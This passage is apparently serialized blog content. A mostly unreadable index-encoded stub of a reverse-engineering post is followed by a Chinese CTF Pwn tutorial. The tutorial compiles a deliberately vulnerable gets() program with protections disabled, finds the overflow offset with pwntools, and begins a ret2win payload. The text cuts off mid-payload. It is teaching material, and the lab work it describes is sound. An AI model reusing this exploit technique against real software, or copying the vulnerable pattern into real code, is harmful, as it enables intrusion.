ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",[1378,2351,3234,4241,5208,6614,7673,8625,9723,10760,11739,12761],{"id":4,"title":5,"body":1379,"description":1362,"extension":1363,"meta":2348,"navigation":1372,"ogImage":1366,"path":1373,"seo":2350,"stem":1375,"__hash__":1376},{"type":7,"value":1380,"toc":2338},[1381,1383,1385,1387,1423,1425,1427,1429,1449,1453,1455,1459,1463,1465,1467,1477,1479,1484,1490,1494,1496,1498,1508,1510,1515,1521,1535,1537,1541,1555,1557,1567,1571,1581,1585,1589,1591,1595,1605,1607,1609,1625,1627,1657,1659,1703,1705,1749,1753,1767,1769,1799,1801,1817,1821,1831,1833,1849,1851,1856,1862,1870,1872,1874,1922,1924,1938,1940,1960,1962,1964,1966,1970,1976,1986,1988,1990,1998,2000,2005,2007,2015,2017,2022,2024,2026,2034,2036,2038,2046,2050,2058,2060,2074,2078,2090,2092,2097,2099,2103,2105,2169,2175,2177,2181,2183,2187,2197,2211,2215,2217,2221,2227,2231,2239,2241,2245,2251,2303,2305,2310,2312,2322,2326,2328,2336],[10,1382,13],{"id":12},[15,1384,17],{},[15,1386,20],{},[22,1388,1389],{"className":24,"code":25,"language":26,"meta":27,"style":27},[29,1390,1391,1397,1411,1419],{"__ignoreMap":27},[32,1392,1393,1395],{"class":34,"line":35},[32,1394,39],{"class":38},[32,1396,43],{"class":42},[32,1398,1399,1401,1403,1405,1407,1409],{"class":34,"line":46},[32,1400,49],{"class":38},[32,1402,52],{"class":42},[32,1404,56],{"class":55},[32,1406,59],{"class":42},[32,1408,63],{"class":62},[32,1410,66],{"class":55},[32,1412,1413,1415,1417],{"class":34,"line":69},[32,1414,39],{"class":38},[32,1416,52],{"class":42},[32,1418,76],{"class":42},[32,1420,1421],{"class":34,"line":79},[32,1422,82],{"class":38},[15,1424,85],{},[10,1426,89],{"id":88},[15,1428,92],{},[22,1430,1431],{"className":24,"code":95,"language":26,"meta":27,"style":27},[29,1432,1433],{"__ignoreMap":27},[32,1434,1435,1437,1439,1441,1443,1445,1447],{"class":34,"line":35},[32,1436,102],{"class":38},[32,1438,105],{"class":42},[32,1440,108],{"class":42},[32,1442,111],{"class":42},[32,1444,114],{"class":42},[32,1446,117],{"class":42},[32,1448,120],{"class":42},[15,1450,123,1451,127],{},[29,1452,126],{},[10,1454,131],{"id":130},[15,1456,1457,138],{},[135,1458,137],{},[15,1460,1461,144],{},[135,1462,143],{},[146,1464,149],{"id":148},[15,1466,152],{},[22,1468,1469],{"className":24,"code":155,"language":26,"meta":27,"style":27},[29,1470,1471],{"__ignoreMap":27},[32,1472,1473,1475],{"class":34,"line":35},[32,1474,162],{"class":38},[32,1476,165],{"class":42},[15,1478,168],{},[22,1480,1482],{"className":1481,"code":173,"language":174,"meta":27},[172],[29,1483,173],{"__ignoreMap":27},[15,1485,179,1486,183,1488,187],{},[29,1487,182],{},[29,1489,186],{},[15,1491,1492,192],{},[135,1493,137],{},[146,1495,196],{"id":195},[15,1497,152],{},[22,1499,1500],{"className":24,"code":201,"language":26,"meta":27,"style":27},[29,1501,1502],{"__ignoreMap":27},[32,1503,1504,1506],{"class":34,"line":35},[32,1505,208],{"class":38},[32,1507,165],{"class":42},[15,1509,168],{},[22,1511,1513],{"className":1512,"code":216,"language":174,"meta":27},[172],[29,1514,216],{"__ignoreMap":27},[15,1516,221,1517,224,1519,228],{},[29,1518,208],{},[29,1520,227],{},[22,1522,1523],{"className":24,"code":231,"language":26,"meta":27,"style":27},[29,1524,1525],{"__ignoreMap":27},[32,1526,1527,1529,1531,1533],{"class":34,"line":35},[32,1528,208],{"class":38},[32,1530,241],{"class":240},[32,1532,244],{"class":240},[32,1534,165],{"class":42},[15,1536,249],{},[15,1538,1539,254],{},[135,1540,137],{},[15,1542,1543,259,1545,263,1547,263,1549,270,1551,274,1553,278],{},[135,1544,143],{},[29,1546,262],{},[29,1548,266],{},[29,1550,269],{},[29,1552,273],{},[29,1554,277],{},[146,1556,282],{"id":281},[22,1558,1559],{"className":24,"code":285,"language":26,"meta":27,"style":27},[29,1560,1561],{"__ignoreMap":27},[32,1562,1563,1565],{"class":34,"line":35},[32,1564,292],{"class":38},[32,1566,76],{"class":42},[15,1568,297,1569,300],{},[29,1570,269],{},[22,1572,1573],{"className":24,"code":303,"language":26,"meta":27,"style":27},[29,1574,1575],{"__ignoreMap":27},[32,1576,1577,1579],{"class":34,"line":35},[32,1578,292],{"class":38},[32,1580,312],{"class":42},[15,1582,297,1583,317],{},[29,1584,269],{},[15,1586,1587,322],{},[135,1588,137],{},[10,1590,326],{"id":325},[15,1592,1593,331],{},[135,1594,137],{},[15,1596,1597,336,1599,340,1601,344,1603,348],{},[135,1598,143],{},[29,1600,339],{},[29,1602,343],{},[29,1604,347],{},[146,1606,352],{"id":351},[15,1608,152],{},[22,1610,1611],{"className":24,"code":357,"language":26,"meta":27,"style":27},[29,1612,1613],{"__ignoreMap":27},[32,1614,1615,1617,1619,1621,1623],{"class":34,"line":35},[32,1616,364],{"class":38},[32,1618,367],{"class":240},[32,1620,370],{"class":240},[32,1622,373],{"class":42},[32,1624,165],{"class":42},[15,1626,378],{},[22,1628,1629],{"className":24,"code":381,"language":26,"meta":27,"style":27},[29,1630,1631],{"__ignoreMap":27},[32,1632,1633,1635,1637,1639,1641,1643,1645,1647,1649,1651,1653,1655],{"class":34,"line":35},[32,1634,364],{"class":38},[32,1636,367],{"class":240},[32,1638,370],{"class":240},[32,1640,373],{"class":42},[32,1642,396],{"class":42},[32,1644,399],{"class":55},[32,1646,402],{"class":38},[32,1648,405],{"class":240},[32,1650,408],{"class":240},[32,1652,412],{"class":411},[32,1654,415],{"class":42},[32,1656,418],{"class":411},[15,1658,421],{},[22,1660,1661],{"className":424,"code":425,"language":426,"meta":27,"style":27},[29,1662,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"__ignoreMap":27},[32,1664,1665],{"class":34,"line":35},[32,1666,433],{},[32,1668,1669],{"class":34,"line":46},[32,1670,438],{},[32,1672,1673],{"class":34,"line":69},[32,1674,443],{},[32,1676,1677],{"class":34,"line":79},[32,1678,448],{},[32,1680,1681],{"class":34,"line":451},[32,1682,454],{},[32,1684,1685],{"class":34,"line":457},[32,1686,460],{},[32,1688,1689],{"class":34,"line":463},[32,1690,466],{},[32,1692,1693],{"class":34,"line":469},[32,1694,472],{},[32,1696,1697],{"class":34,"line":475},[32,1698,478],{},[32,1700,1701],{"class":34,"line":481},[32,1702,484],{},[15,1704,487],{},[489,1706,1707,1715],{},[492,1708,1709],{},[495,1710,1711,1713],{},[498,1712,500],{},[498,1714,503],{},[505,1716,1717,1725,1733,1741],{},[495,1718,1719,1723],{},[510,1720,1721],{},[29,1722,514],{},[510,1724,517],{},[495,1726,1727,1731],{},[510,1728,1729],{},[29,1730,524],{},[510,1732,527],{},[495,1734,1735,1739],{},[510,1736,1737],{},[29,1738,534],{},[510,1740,537],{},[495,1742,1743,1747],{},[510,1744,1745],{},[29,1746,544],{},[510,1748,547],{},[15,1750,550,1751,554],{},[29,1752,553],{},[15,1754,1755,560,1757,563,1759,566,1761,570,1763,573,1765,300],{},[135,1756,559],{},[29,1758,524],{},[29,1760,534],{},[29,1762,569],{},[29,1764,553],{},[29,1766,553],{},[146,1768,579],{"id":578},[22,1770,1771],{"className":24,"code":582,"language":26,"meta":27,"style":27},[29,1772,1773],{"__ignoreMap":27},[32,1774,1775,1777,1779,1781,1783,1785,1787,1789,1791,1793,1795,1797],{"class":34,"line":35},[32,1776,364],{"class":38},[32,1778,367],{"class":240},[32,1780,370],{"class":240},[32,1782,373],{"class":42},[32,1784,396],{"class":42},[32,1786,399],{"class":55},[32,1788,402],{"class":38},[32,1790,405],{"class":240},[32,1792,605],{"class":240},[32,1794,412],{"class":411},[32,1796,610],{"class":42},[32,1798,418],{"class":411},[15,1800,615],{},[22,1802,1803],{"className":424,"code":618,"language":426,"meta":27,"style":27},[29,1804,1805,1809,1813],{"__ignoreMap":27},[32,1806,1807],{"class":34,"line":35},[32,1808,625],{},[32,1810,1811],{"class":34,"line":46},[32,1812,630],{},[32,1814,1815],{"class":34,"line":69},[32,1816,635],{},[15,1818,638,1819,642],{},[29,1820,641],{},[15,1822,1823,560,1825,651,1827,655,1829,658],{},[135,1824,647],{},[29,1826,650],{},[29,1828,654],{},[29,1830,641],{},[146,1832,662],{"id":661},[22,1834,1835],{"className":24,"code":665,"language":26,"meta":27,"style":27},[29,1836,1837],{"__ignoreMap":27},[32,1838,1839,1841,1843,1845,1847],{"class":34,"line":35},[32,1840,364],{"class":38},[32,1842,674],{"class":240},[32,1844,677],{"class":240},[32,1846,680],{"class":42},[32,1848,165],{"class":42},[15,1850,168],{},[22,1852,1854],{"className":1853,"code":688,"language":174,"meta":27},[172],[29,1855,688],{"__ignoreMap":27},[15,1857,693,1858,697,1860,300],{},[29,1859,696],{},[29,1861,700],{},[15,1863,1864,706,1866,709,1868,713],{},[135,1865,705],{},[29,1867,641],{},[29,1869,712],{},[146,1871,717],{"id":716},[15,1873,720],{},[22,1875,1876],{"className":24,"code":723,"language":26,"meta":27,"style":27},[29,1877,1878,1888,1898,1908],{"__ignoreMap":27},[32,1879,1880,1882,1884,1886],{"class":34,"line":35},[32,1881,102],{"class":38},[32,1883,105],{"class":42},[32,1885,734],{"class":42},[32,1887,737],{"class":42},[32,1889,1890,1892,1894,1896],{"class":34,"line":46},[32,1891,742],{"class":38},[32,1893,745],{"class":42},[32,1895,749],{"class":748},[32,1897,752],{"class":42},[32,1899,1900,1902,1904,1906],{"class":34,"line":69},[32,1901,757],{"class":38},[32,1903,760],{"class":42},[32,1905,749],{"class":748},[32,1907,752],{"class":42},[32,1909,1910,1912,1914,1916,1918,1920],{"class":34,"line":79},[32,1911,770],{"class":769},[32,1913,760],{"class":42},[32,1915,749],{"class":748},[32,1917,777],{"class":42},[32,1919,780],{"class":62},[32,1921,783],{"class":38},[15,1923,786],{},[788,1925,1926,1928,1932,1934],{},[791,1927,793],{},[791,1929,796,1930,799],{},[29,1931,126],{},[791,1933,802],{},[791,1935,805,1936,809],{},[29,1937,808],{},[15,1939,812],{},[22,1941,1942],{"className":815,"code":816,"language":817,"meta":27,"style":27},[29,1943,1944,1948,1952,1956],{"__ignoreMap":27},[32,1945,1946],{"class":34,"line":35},[32,1947,824],{},[32,1949,1950],{"class":34,"line":46},[32,1951,829],{},[32,1953,1954],{"class":34,"line":69},[32,1955,834],{},[32,1957,1958],{"class":34,"line":79},[32,1959,839],{},[15,1961,842],{},[10,1963,846],{"id":845},[15,1965,849],{},[15,1967,1968,854],{},[135,1969,137],{},[15,1971,1972,859,1974,863],{},[135,1973,143],{},[29,1975,862],{},[22,1977,1978],{"className":24,"code":866,"language":26,"meta":27,"style":27},[29,1979,1980],{"__ignoreMap":27},[32,1981,1982,1984],{"class":34,"line":35},[32,1983,873],{"class":38},[32,1985,43],{"class":42},[15,1987,878],{},[146,1989,882],{"id":881},[22,1991,1992],{"className":885,"code":886,"language":873,"meta":27,"style":27},[29,1993,1994],{"__ignoreMap":27},[32,1995,1996],{"class":34,"line":35},[32,1997,886],{},[15,1999,168],{},[22,2001,2003],{"className":2002,"code":898,"language":174,"meta":27},[172],[29,2004,898],{"__ignoreMap":27},[146,2006,904],{"id":903},[22,2008,2009],{"className":885,"code":907,"language":873,"meta":27,"style":27},[29,2010,2011],{"__ignoreMap":27},[32,2012,2013],{"class":34,"line":35},[32,2014,907],{},[15,2016,168],{},[22,2018,2020],{"className":2019,"code":919,"language":174,"meta":27},[172],[29,2021,919],{"__ignoreMap":27},[15,2023,924],{},[146,2025,928],{"id":927},[22,2027,2028],{"className":885,"code":931,"language":873,"meta":27,"style":27},[29,2029,2030],{"__ignoreMap":27},[32,2031,2032],{"class":34,"line":35},[32,2033,931],{},[15,2035,940],{},[146,2037,944],{"id":943},[22,2039,2040],{"className":885,"code":947,"language":873,"meta":27,"style":27},[29,2041,2042],{"__ignoreMap":27},[32,2043,2044],{"class":34,"line":35},[32,2045,947],{},[15,2047,956,2048,959],{},[29,2049,650],{},[22,2051,2052],{"className":885,"code":962,"language":873,"meta":27,"style":27},[29,2053,2054],{"__ignoreMap":27},[32,2055,2056],{"class":34,"line":35},[32,2057,962],{},[15,2059,971],{},[15,2061,2062,560,2064,980,2066,984,2068,988,2070,980,2072,995],{},[135,2063,976],{},[29,2065,979],{},[29,2067,983],{},[29,2069,987],{},[29,2071,991],{},[29,2073,994],{},[15,2075,998,2076,1002],{},[29,2077,1001],{},[22,2079,2080],{"className":24,"code":1005,"language":26,"meta":27,"style":27},[29,2081,2082],{"__ignoreMap":27},[32,2083,2084,2086,2088],{"class":34,"line":35},[32,2085,1001],{"class":38},[32,2087,52],{"class":42},[32,2089,76],{"class":42},[15,2091,1018],{},[22,2093,2095],{"className":2094,"code":1022,"language":174,"meta":27},[172],[29,2096,1022],{"__ignoreMap":27},[15,2098,1027],{},[15,2100,2101,1033],{},[135,2102,1032],{},[10,2104,1037],{"id":1036},[489,2106,2107,2117],{},[492,2108,2109],{},[495,2110,2111,2113,2115],{},[498,2112,1046],{},[498,2114,1049],{},[498,2116,1052],{},[505,2118,2119,2129,2143,2155],{},[495,2120,2121,2123,2125],{},[510,2122,162],{},[510,2124,1061],{},[510,2126,2127],{},[29,2128,1066],{},[495,2130,2131,2133,2135],{},[510,2132,208],{},[510,2134,1073],{},[510,2136,2137,263,2139,263,2141],{},[29,2138,1078],{},[29,2140,1081],{},[29,2142,1084],{},[495,2144,2145,2147,2149],{},[510,2146,364],{},[510,2148,1091],{},[510,2150,2151,263,2153],{},[29,2152,1096],{},[29,2154,1099],{},[495,2156,2157,2159,2161],{},[510,2158,1104],{},[510,2160,1107],{},[510,2162,2163,263,2165,263,2167],{},[29,2164,1112],{},[29,2166,1115],{},[29,2168,1118],{},[15,2170,1121,2171,1124,2173,1128],{},[29,2172,1001],{},[29,2174,1127],{},[10,2176,1132],{"id":1131},[15,2178,1135,2179,1139],{},[29,2180,1138],{},[146,2182,1143],{"id":1142},[15,2184,2185,1148],{},[135,2186,137],{},[15,2188,2189,560,2191,1155,2193,1158,2195,1161],{},[135,2190,143],{},[29,2192,208],{},[29,2194,277],{},[29,2196,273],{},[22,2198,2199],{"className":24,"code":1164,"language":26,"meta":27,"style":27},[29,2200,2201],{"__ignoreMap":27},[32,2202,2203,2205,2207,2209],{"class":34,"line":35},[32,2204,208],{"class":38},[32,2206,241],{"class":240},[32,2208,244],{"class":240},[32,2210,1177],{"class":42},[15,2212,1180,2213,1183],{},[29,2214,273],{},[146,2216,1187],{"id":1186},[15,2218,2219,1192],{},[135,2220,137],{},[15,2222,2223,1197,2225,1201],{},[135,2224,647],{},[29,2226,1200],{},[15,2228,1204,2229,1207],{},[29,2230,553],{},[22,2232,2233],{"className":815,"code":1210,"language":817,"meta":27,"style":27},[29,2234,2235],{"__ignoreMap":27},[32,2236,2237],{"class":34,"line":35},[32,2238,1210],{},[146,2240,1220],{"id":1219},[15,2242,2243,1225],{},[135,2244,137],{},[15,2246,2247,1230,2249,1234],{},[135,2248,143],{},[29,2250,1233],{},[22,2252,2253],{"className":1237,"code":1238,"language":1239,"meta":27,"style":27},[29,2254,2255,2259,2263,2267,2271,2275,2279,2283,2287,2291,2295,2299],{"__ignoreMap":27},[32,2256,2257],{"class":34,"line":35},[32,2258,1246],{},[32,2260,2261],{"class":34,"line":46},[32,2262,1251],{},[32,2264,2265],{"class":34,"line":69},[32,2266,1256],{},[32,2268,2269],{"class":34,"line":79},[32,2270,1261],{},[32,2272,2273],{"class":34,"line":451},[32,2274,1266],{},[32,2276,2277],{"class":34,"line":457},[32,2278,1271],{},[32,2280,2281],{"class":34,"line":463},[32,2282,1276],{},[32,2284,2285],{"class":34,"line":469},[32,2286,1281],{},[32,2288,2289],{"class":34,"line":475},[32,2290,1286],{},[32,2292,2293],{"class":34,"line":481},[32,2294,1291],{},[32,2296,2297],{"class":34,"line":1294},[32,2298,1297],{},[32,2300,2301],{"class":34,"line":1300},[32,2302,1303],{},[15,2304,297],{},[22,2306,2308],{"className":2307,"code":1309,"language":174,"meta":27},[172],[29,2309,1309],{"__ignoreMap":27},[146,2311,1315],{"id":1314},[22,2313,2314],{"className":24,"code":1318,"language":26,"meta":27,"style":27},[29,2315,2316],{"__ignoreMap":27},[32,2317,2318,2320],{"class":34,"line":35},[32,2319,1325],{"class":38},[32,2321,1328],{"class":42},[15,2323,297,2324,300],{},[29,2325,266],{},[10,2327,1336],{"id":1335},[15,2329,1339,2330,1124,2332,1344,2334,1347],{},[29,2331,162],{},[29,2333,208],{},[29,2335,364],{},[1349,2337,1351],{},{"title":27,"searchDepth":46,"depth":46,"links":2339},[2340,2341,2342,2343,2344,2345,2346,2347],{"id":12,"depth":69,"text":13},{"id":88,"depth":69,"text":89},{"id":130,"depth":69,"text":131},{"id":325,"depth":69,"text":326},{"id":845,"depth":69,"text":846},{"id":1036,"depth":69,"text":1037},{"id":1131,"depth":69,"text":1132},{"id":1335,"depth":69,"text":1336},{"date":1365,"image":1366,"alt":1367,"tags":2349,"published":1372},[1369,1370,1371],{"title":5,"description":1362},{"id":2352,"title":2353,"body":2354,"description":3225,"extension":1363,"meta":3226,"navigation":1372,"ogImage":3227,"path":3230,"seo":3231,"stem":3232,"__hash__":3233},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2355,"toc":3213},[2356,2360,2367,2373,2375,2377,2404,2408,2414,2517,2520,2556,2560,2565,2570,2572,2588,2590,2596,2599,2657,2661,2667,2673,2680,2749,2754,2758,2762,2800,2802,2808,2812,2820,2830,2839,2843,2888,2898,2902,2907,2912,2981,2984,2990,3001,3005,3080,3084,3092,3095,3108,3119,3124,3129,3186,3188,3194,3198,3210],[10,2357,2359],{"id":2358},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2361,2362,2363,2366],{},"C 语言函数 ",[29,2364,2365],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2368,2369,2370,300],{},"本文只讲一条主线：",[135,2371,2372],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2374,89],{"id":88},[15,2376,92],{},[22,2378,2380],{"className":24,"code":2379,"language":26,"meta":27,"style":27},"apt install gcc gdb\npip3 install pwntools\n",[29,2381,2382,2394],{"__ignoreMap":27},[32,2383,2384,2386,2388,2391],{"class":34,"line":35},[32,2385,102],{"class":38},[32,2387,105],{"class":42},[32,2389,2390],{"class":42}," gcc",[32,2392,2393],{"class":42}," gdb\n",[32,2395,2396,2399,2401],{"class":34,"line":46},[32,2397,2398],{"class":38},"pip3",[32,2400,105],{"class":42},[32,2402,2403],{"class":42}," pwntools\n",[10,2405,2407],{"id":2406},"三漏洞程序与编译","三、漏洞程序与编译",[15,2409,2410,2411,560],{},"保存 ",[29,2412,2413],{},"vuln.c",[22,2415,2417],{"className":815,"code":2416,"language":817,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[29,2418,2419,2424,2429,2434,2439,2444,2449,2453,2458,2463,2468,2472,2476,2482,2488,2494,2500,2506,2512],{"__ignoreMap":27},[32,2420,2421],{"class":34,"line":35},[32,2422,2423],{},"#include \u003Cstdio.h>\n",[32,2425,2426],{"class":34,"line":46},[32,2427,2428],{},"#include \u003Cstdlib.h>\n",[32,2430,2431],{"class":34,"line":69},[32,2432,2433],{"emptyLinePlaceholder":1372},"\n",[32,2435,2436],{"class":34,"line":79},[32,2437,2438],{},"void win() {\n",[32,2440,2441],{"class":34,"line":451},[32,2442,2443],{},"    system(\"/bin/sh\");\n",[32,2445,2446],{"class":34,"line":457},[32,2447,2448],{},"}\n",[32,2450,2451],{"class":34,"line":463},[32,2452,2433],{"emptyLinePlaceholder":1372},[32,2454,2455],{"class":34,"line":469},[32,2456,2457],{},"void vuln() {\n",[32,2459,2460],{"class":34,"line":475},[32,2461,2462],{},"    char buf[32];\n",[32,2464,2465],{"class":34,"line":481},[32,2466,2467],{},"    gets(buf);\n",[32,2469,2470],{"class":34,"line":1294},[32,2471,2448],{},[32,2473,2474],{"class":34,"line":1300},[32,2475,2433],{"emptyLinePlaceholder":1372},[32,2477,2479],{"class":34,"line":2478},13,[32,2480,2481],{},"int main() {\n",[32,2483,2485],{"class":34,"line":2484},14,[32,2486,2487],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[32,2489,2491],{"class":34,"line":2490},15,[32,2492,2493],{},"    puts(\"Hello, what's your name?\");\n",[32,2495,2497],{"class":34,"line":2496},16,[32,2498,2499],{},"    vuln();\n",[32,2501,2503],{"class":34,"line":2502},17,[32,2504,2505],{},"    puts(\"Bye!\");\n",[32,2507,2509],{"class":34,"line":2508},18,[32,2510,2511],{},"    return 0;\n",[32,2513,2515],{"class":34,"line":2514},19,[32,2516,2448],{},[15,2518,2519],{},"编译（关闭金丝雀和 PIE，方便入门）：",[22,2521,2523],{"className":24,"code":2522,"language":26,"meta":27,"style":27},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[29,2524,2525,2545,2551],{"__ignoreMap":27},[32,2526,2527,2530,2533,2536,2539,2542],{"class":34,"line":35},[32,2528,2529],{"class":38},"gcc",[32,2531,2532],{"class":240}," -o",[32,2534,2535],{"class":42}," vuln",[32,2537,2538],{"class":42}," vuln.c",[32,2540,2541],{"class":240}," -fno-stack-protector",[32,2543,2544],{"class":240}," -no-pie\n",[32,2546,2547],{"class":34,"line":46},[32,2548,2550],{"class":2549},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[32,2552,2553],{"class":34,"line":69},[32,2554,2555],{"class":2549},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2557,2559],{"id":2558},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2561,2562,2564],{},[135,2563,137],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2566,2567,2569],{},[135,2568,143],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2571,152],{},[22,2573,2575],{"className":24,"code":2574,"language":26,"meta":27,"style":27},"pwn checksec ./vuln\n",[29,2576,2577],{"__ignoreMap":27},[32,2578,2579,2582,2585],{"class":34,"line":35},[32,2580,2581],{"class":38},"pwn",[32,2583,2584],{"class":42}," checksec",[32,2586,2587],{"class":42}," ./vuln\n",[15,2589,168],{},[22,2591,2594],{"className":2592,"code":2593,"language":174,"meta":27},[172],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[29,2595,2593],{"__ignoreMap":27},[15,2597,2598],{},"只看三行：",[489,2600,2601,2613],{},[492,2602,2603],{},[495,2604,2605,2608,2610],{},[498,2606,2607],{},"行",[498,2609,503],{},[498,2611,2612],{},"对我们意味着什么",[505,2614,2615,2628,2641],{},[495,2616,2617,2622,2625],{},[510,2618,2619],{},[29,2620,2621],{},"Stack: No canary found",[510,2623,2624],{},"没有栈金丝雀",[510,2626,2627],{},"可以直接覆盖返回地址",[495,2629,2630,2635,2638],{},[510,2631,2632],{},[29,2633,2634],{},"NX: NX enabled",[510,2636,2637],{},"栈不可执行",[510,2639,2640],{},"不能放 shellcode（本阶段先不管）",[495,2642,2643,2648,2651],{},[510,2644,2645],{},[29,2646,2647],{},"PIE: No PIE",[510,2649,2650],{},"程序地址固定",[510,2652,2653,2656],{},[29,2654,2655],{},"win"," 的地址可以直接写进 payload",[10,2658,2660],{"id":2659},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2662,2663,2666],{},[29,2664,2665],{},"vuln"," 被调用时栈上自低到高：",[22,2668,2671],{"className":2669,"code":2670,"language":174,"meta":27},[172],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[29,2672,2670],{"__ignoreMap":27},[15,2674,2675,2676,2679],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[29,2677,2678],{},"cyclic"," 验证：",[22,2681,2683],{"className":1237,"code":2682,"language":1239,"meta":27,"style":27},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[29,2684,2685,2690,2694,2699,2704,2709,2714,2719,2724,2729,2734,2739,2744],{"__ignoreMap":27},[32,2686,2687],{"class":34,"line":35},[32,2688,2689],{},"from pwn import *\n",[32,2691,2692],{"class":34,"line":46},[32,2693,2433],{"emptyLinePlaceholder":1372},[32,2695,2696],{"class":34,"line":69},[32,2697,2698],{},"p = process('./vuln')\n",[32,2700,2701],{"class":34,"line":79},[32,2702,2703],{},"p.sendline(cyclic(200))\n",[32,2705,2706],{"class":34,"line":451},[32,2707,2708],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[32,2710,2711],{"class":34,"line":457},[32,2712,2713],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[32,2715,2716],{"class":34,"line":463},[32,2717,2718],{},"p.wait()\n",[32,2720,2721],{"class":34,"line":469},[32,2722,2723],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[32,2725,2726],{"class":34,"line":475},[32,2727,2728],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[32,2730,2731],{"class":34,"line":481},[32,2732,2733],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[32,2735,2736],{"class":34,"line":1294},[32,2737,2738],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[32,2740,2741],{"class":34,"line":1300},[32,2742,2743],{},"print(offset)\n",[32,2745,2746],{"class":34,"line":2478},[32,2747,2748],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2750,168,2751,300],{},[29,2752,2753],{},"40",[10,2755,2757],{"id":2756},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[146,2759,2761],{"id":2760},"api-1elf读符号地址","API 1：ELF——读符号地址",[22,2763,2765],{"className":1237,"code":2764,"language":1239,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[29,2766,2767,2771,2775,2780,2785,2790,2795],{"__ignoreMap":27},[32,2768,2769],{"class":34,"line":35},[32,2770,2689],{},[32,2772,2773],{"class":34,"line":46},[32,2774,2433],{"emptyLinePlaceholder":1372},[32,2776,2777],{"class":34,"line":69},[32,2778,2779],{},"elf = ELF('./vuln')\n",[32,2781,2782],{"class":34,"line":79},[32,2783,2784],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[32,2786,2787],{"class":34,"line":451},[32,2788,2789],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[32,2791,2792],{"class":34,"line":457},[32,2793,2794],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[32,2796,2797],{"class":34,"line":463},[32,2798,2799],{},"print(hex(elf.symbols['win']))\n",[15,2801,168],{},[22,2803,2806],{"className":2804,"code":2805,"language":174,"meta":27},[172],"0x401176\n",[29,2807,2805],{"__ignoreMap":27},[146,2809,2811],{"id":2810},"api-2process启动程序","API 2：process——启动程序",[22,2813,2814],{"className":1237,"code":2698,"language":1239,"meta":27,"style":27},[29,2815,2816],{"__ignoreMap":27},[32,2817,2818],{"class":34,"line":35},[32,2819,2698],{},[15,2821,2822,2823,263,2826,2829],{},"启动本地进程，之后用 ",[29,2824,2825],{},"p.sendline()",[29,2827,2828],{},"p.recvuntil()"," 交互。远程题目改成：",[22,2831,2833],{"className":1237,"code":2832,"language":1239,"meta":27,"style":27},"p = remote('1.2.3.4', 10001)\n",[29,2834,2835],{"__ignoreMap":27},[32,2836,2837],{"class":34,"line":35},[32,2838,2832],{},[146,2840,2842],{"id":2841},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[22,2844,2846],{"className":1237,"code":2845,"language":1239,"meta":27,"style":27},"payload = b'A' * 40 